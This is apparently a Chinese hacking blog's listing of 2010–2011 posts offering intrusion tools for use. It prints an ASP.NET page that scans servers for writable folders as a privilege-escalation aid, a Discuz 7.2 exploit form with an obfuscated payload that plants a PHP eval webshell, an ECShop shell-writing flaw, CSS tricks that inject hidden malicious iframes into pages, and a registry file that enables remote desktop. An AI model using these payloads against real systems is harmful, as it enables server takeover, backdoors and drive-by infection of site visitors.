 . NET自动找可写
                                . NET自动找可写
                            
                            作者:admin 日期:2011-04-11
很好用!.NET 提权必备工具!
<%@ Page Language="C#" ValidateRequest="false" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>ScanWrtieable</title>
</head>
<body>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
}
int cresults;
protected void ScanRights(DirectoryInfo cdir)
{
try
{
if (Int32.Parse(TextBox_stopat.Text) > 0)
{
if (cresults > Int32.Parse(TextBox_stopat.Text))
return;
}
DirectoryInfo[] subdirs = cdir.GetDirectories();
foreach (DirectoryInfo item in subdirs)
{
ScanRights(item);
}
if (File.Create(cdir.FullName + "\\test").CanWrite)
{
this.Lb_msg.Text += cdir.FullName+"<br/>";
cresults++;
}
}
catch { }
}
System.DateTime start = DateTime.Now;
protected void ClearAllThread_Click(object sender, EventArgs e)
{
this.Lb_msg .Text= "";
cresults = 0;
ScanRights(new DirectoryInfo(Fport_TextBox.Text));
TimeSpan usetime = System.DateTime.Now - start;
this.Lb_msg.Text +="usetime: "+ usetime.TotalSeconds.ToString();
}
</script>
<form id="form1" runat="server">
<div>
start<asp:TextBox ID="Fport_TextBox" runat="server" Text="c:\" Width="60px"></asp:TextBox> 
Stopat <asp:TextBox ID="TextBox_stopat" runat="server" Text="5" Width="60px"></asp:TextBox>files
<asp:Button ID="Button" runat="server" OnClick="ClearAllThread_Click" Text="ScanWriterable" /><br />
<asp:Label ID="Lb_msg" runat="server" Text=""></asp:Label>
<br />
</div>
<div>code by <a href ="http://www.7747.net">[url]www.7747.net</a></div[/url]>
</form>
</body>
</html>
 
Tags: .net自动找可写
 Windows7/win2008 提权0day
                                Windows7/win2008 提权0day
                            
                            作者:admin 日期:2011-04-11
 ECShop注射漏洞
                                ECShop注射漏洞
                            
                            作者:admin 日期:2011-03-05
 xcopy复制整个目录
                                xcopy复制整个目录
                            
                            作者:admin 日期:2011-02-18
 ms11-011利用工具
                                ms11-011利用工具
                            
                            作者:admin 日期:2011-02-16
 查看占用端口的进程
                                查看占用端口的进程
                            
                            作者:admin 日期:2011-02-16
 ecshop后台写shell
                                ecshop后台写shell
                            
                            作者:admin 日期:2011-02-16
------------------------------------------------------------------------------
Title:ecshop后台写shell 0day
Author: xhm1n9[ESST]
EMail:xhm1n9@0x70.com
Site: http://www.x-xox-x.net
Date: 2010-12-27 10:22:15
From: http://x-xox-x.net/exploit/11
3月份的东西,现在发出来。
adminedit_languages.php
相关变量没过滤!
    elseif ($_REQUEST['act'] == 'edit')
{
    /* 语言项的路径 */
    $lang_file = isset($_POST['file_path']) ? trim($_POST['file_path']) : '';
    /* 替换前的语言项 */
    $src_items = !empty($_POST['item']) ? stripslashes_deep($_POST['item']) : '';
Tags: ecshop webshell ecshop拿shell
 玩转arp
                                玩转arp
                            
                            作者:admin 日期:2011-02-03
 CSS挂马代码的方法
                                CSS挂马代码的方法
                            
                            作者:admin 日期:2011-02-03
网上流行的: 
body 
{  
background-image:  url('javascript:document.write("<Iframe  src=http://192.168.0.5/test.htm width=0 height=0></iframe>")') 
} 
//此方法会使主页不正常.返回一片空白. 
用弹窗. 
body 
{  
background-image: url('javascript:open("http://192.168.0.5/test.htm")') 
} 
//弹出一个框.难看 易被发现. 
改进一下: 
 SA沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
                                SA沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
                            
                            作者:admin 日期:2011-02-03
 bat for语句详解
                                bat for语句详解
                            
                            作者:admin 日期:2011-02-03
 cmd命令大全
                                cmd命令大全
                            
                            作者:admin 日期:2011-02-02
 discuz 7.2漏洞利用代码
                                discuz 7.2漏洞利用代码
                            
                            作者:admin 日期:2011-02-01
使用该exp的话仅限本机测试,其他用途后果自负!
第一种方法:
先注册个用户然后把
<form method="post" action="   http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">
帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>
chr解码后是:value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'<?php eval($_POST[cmd])?>');
里面有个提交地址改下,保存html
打开点提交,会生产forumdata/cache/usergroup_01.php一句话文件,密码是cmd
 
Tags: discuz 7.2漏洞
 开了3389无法登陆原因6种
                                开了3389无法登陆原因6种
                            
                            作者:admin 日期:2011-01-24
 Win2000 Server入侵监测
                                Win2000 Server入侵监测
                            
                            作者:admin 日期:2010-08-18
 蜜罐技术
                                蜜罐技术
                            
                            作者:admin 日期:2010-08-18
 图片插一句话木马技巧
                                图片插一句话木马技巧
                            
                            作者:admin 日期:2010-08-17
 XP架设VPN服务器
                                XP架设VPN服务器
                            
                            作者:admin 日期:2010-08-16
 注册表开启3389
                                注册表开启3389
                            
                            作者:admin 日期:2010-08-14
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
第一项表示开启/关闭。0代表开启3389,1代表关闭。
下面两项表示端口,用calc计算一下,写入十六进制就可以了。
win2003和xp开关3389都是不需要重起的哦。
